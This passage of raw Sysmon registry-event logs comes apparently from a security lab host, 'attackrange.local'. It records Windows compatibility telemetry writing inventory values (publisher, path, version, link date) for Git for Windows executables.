14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reset.exe|36c5794b3e41dd77\Publisherthe git development community 13241300x800000000000000036699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reset.exe|36c5794b3e41dd77\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-reset.exe 13241300x800000000000000036698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rerere.exe|fc745b45c205e431\BinProductVersion2.33.0.2 13241300x800000000000000036697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rerere.exe|fc745b45c205e431\LinkDate08/24/2021 10:09:53 13241300x800000000000000036696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rerere.exe|fc745b45c205e431\Publisherthe git development community 13241300x800000000000000036695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rerere.exe|fc745b45c205e431\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-rerere.exe 13241300x800000000000000036694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-replace.exe|3cfc7710e33c88bb\BinProductVersion2.33.0.2 13241300x800000000000000036693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-replace.exe|3cfc7710e33c88bb\LinkDate08/24/2021 10:09:53 13241300x800000000000000036692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-replace.exe|3cfc7710e33c88bb\Publisherthe git development community 13241300x800000000000000036691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-replace.exe|3cfc7710e33c88bb\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-replace.exe 13241300x800000000000000036690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-repack.exe|b1385c9cee9c0160\BinProductVersion2.33.0.2 13241300x800000000000000036689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-repack.exe|b1385c9cee9c0160\LinkDate08/24/2021 10:09:53 13241300x800000000000000036688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-repack.exe|b1385c9cee9c0160\Publisherthe git development community 13241300x800000000000000036687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-repack.exe|b1385c9cee9c0160\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-repack.exe 13241300x800000000000000036686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote.exe|2eac402aac5dd179\BinProductVersion2.33.0.2 13241300x800000000000000036685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote.exe|2eac402aac5dd179\LinkDate08/24/2021 10:09:53 13241300x800000000000000036684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote.exe|2eac402aac5dd179\Publisherthe git development community 13241300x800000000000000036683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote.exe|2eac402aac5dd179\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote.exe 13241300x800000000000000036682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-https|726221edb644a582\BinProductVersion2.33.0.2 13241300x800000000000000036681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-https|726221edb644a582\LinkDate08/24/2021 10:09:53 13241300x800000000000000036680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-https|726221edb644a582\Publisherthe git development community 13241300x800000000000000036679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-https|726221edb644a582\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-https.exe 13241300x800000000000000036678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-http.|7c133653a586f83\BinProductVersion2.33.0.2 13241300x800000000000000036677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-http.|7c133653a586f83\LinkDate08/24/2021 10:09:53 13241300x800000000000000036676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-http.|7c133653a586f83\Publisherthe git development community 13241300x800000000000000036675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-http.|7c133653a586f83\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-http.exe 13241300x800000000000000036674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftps.|3aad054899c73a4b\BinProductVersion2.33.0.2 13241300x800000000000000036673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftps.|3aad054899c73a4b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftps.|3aad054899c73a4b\Publisherthe git development community 13241300x800000000000000036671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftps.|3aad054899c73a4b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-ftps.exe 13241300x800000000000000036670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftp.e|a2604470889ec908\BinProductVersion2.33.0.2 13241300x800000000000000036669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftp.e|a2604470889ec908\LinkDate08/24/2021 10:09:53 13241300x800000000000000036668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftp.e|a2604470889ec908\Publisherthe git development community 13241300x800000000000000036667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ftp.e|a2604470889ec908\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-ftp.exe 13241300x800000000000000036666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-fd.ex|e557f81c4381d7b0\BinProductVersion2.33.0.2 13241300x800000000000000036665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-fd.ex|e557f81c4381d7b0\LinkDate08/24/2021 10:09:53 13241300x800000000000000036664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-fd.ex|e557f81c4381d7b0\Publisherthe git development community 13241300x800000000000000036663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-fd.ex|e557f81c4381d7b0\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-fd.exe 13241300x800000000000000036662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ext.e|bd6596e1f05a9659\BinProductVersion2.33.0.2 13241300x800000000000000036661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ext.e|bd6596e1f05a9659\LinkDate08/24/2021 10:09:53 13241300x800000000000000036660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ext.e|bd6596e1f05a9659\Publisherthe git development community 13241300x800000000000000036659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-remote-ext.e|bd6596e1f05a9659\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-remote-ext.exe 13241300x800000000000000036658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reflog.exe|34db507846fa6f12\BinProductVersion2.33.0.2 13241300x800000000000000036657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reflog.exe|34db507846fa6f12\LinkDate08/24/2021 10:09:53 13241300x800000000000000036656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reflog.exe|34db507846fa6f12\Publisherthe git development community 13241300x800000000000000036655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-reflog.exe|34db507846fa6f12\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-reflog.exe 13241300x800000000000000036654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|8e78e4fb26db059a\BinProductVersion2.33.0.2 13241300x800000000000000036653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|8e78e4fb26db059a\LinkDate08/24/2021 10:09:53 13241300x800000000000000036652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|8e78e4fb26db059a\Publisherthe git development community 13241300x800000000000000036651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|8e78e4fb26db059a\LowerCaseLongPathc:\program files\git\mingw64\bin\git-receive-pack.exe 13241300x800000000000000036650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|4bf4387fd198488d\BinProductVersion2.33.0.2 13241300x800000000000000036649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|4bf4387fd198488d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|4bf4387fd198488d\Publisherthe git development community 13241300x800000000000000036647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-receive-pack|4bf4387fd198488d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-receive-pack.exe 13241300x800000000000000036646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rebase.exe|80d1b0e35c07195b\BinProductVersion2.33.0.2 13241300x800000000000000036645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rebase.exe|80d1b0e35c07195b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rebase.exe|80d1b0e35c07195b\Publisherthe git development community 13241300x800000000000000036643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-rebase.exe|80d1b0e35c07195b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-rebase.exe 13241300x800000000000000036642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-read-tree.ex|22941f40e639aef1\BinProductVersion2.33.0.2 13241300x800000000000000036641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-read-tree.ex|22941f40e639aef1\LinkDate08/24/2021 10:09:53 13241300x800000000000000036640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-read-tree.ex|22941f40e639aef1\Publisherthe git development community 13241300x800000000000000036639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-read-tree.ex|22941f40e639aef1\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-read-tree.exe 13241300x800000000000000036638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-range-diff.e|27a041f8d99ea5e9\BinProductVersion2.33.0.2 13241300x800000000000000036637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-range-diff.e|27a041f8d99ea5e9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-range-diff.e|27a041f8d99ea5e9\Publisherthe git development community 13241300x800000000000000036635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-range-diff.e|27a041f8d99ea5e9\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-range-diff.exe 13241300x800000000000000036634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-push.exe|6b8bbc843881b879\BinProductVersion2.33.0.2 13241300x800000000000000036633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-push.exe|6b8bbc843881b879\LinkDate08/24/2021 10:09:53 13241300x800000000000000036632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-push.exe|6b8bbc843881b879\Publisherthe git development community 13241300x800000000000000036631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-push.exe|6b8bbc843881b879\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-push.exe 13241300x800000000000000036630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pull.exe|5c528221eaacce43\BinProductVersion2.33.0.2 13241300x800000000000000036629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pull.exe|5c528221eaacce43\LinkDate08/24/2021 10:09:53 13241300x800000000000000036628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-pull.exe|5c528221eaacce43\Publisherthe git development community 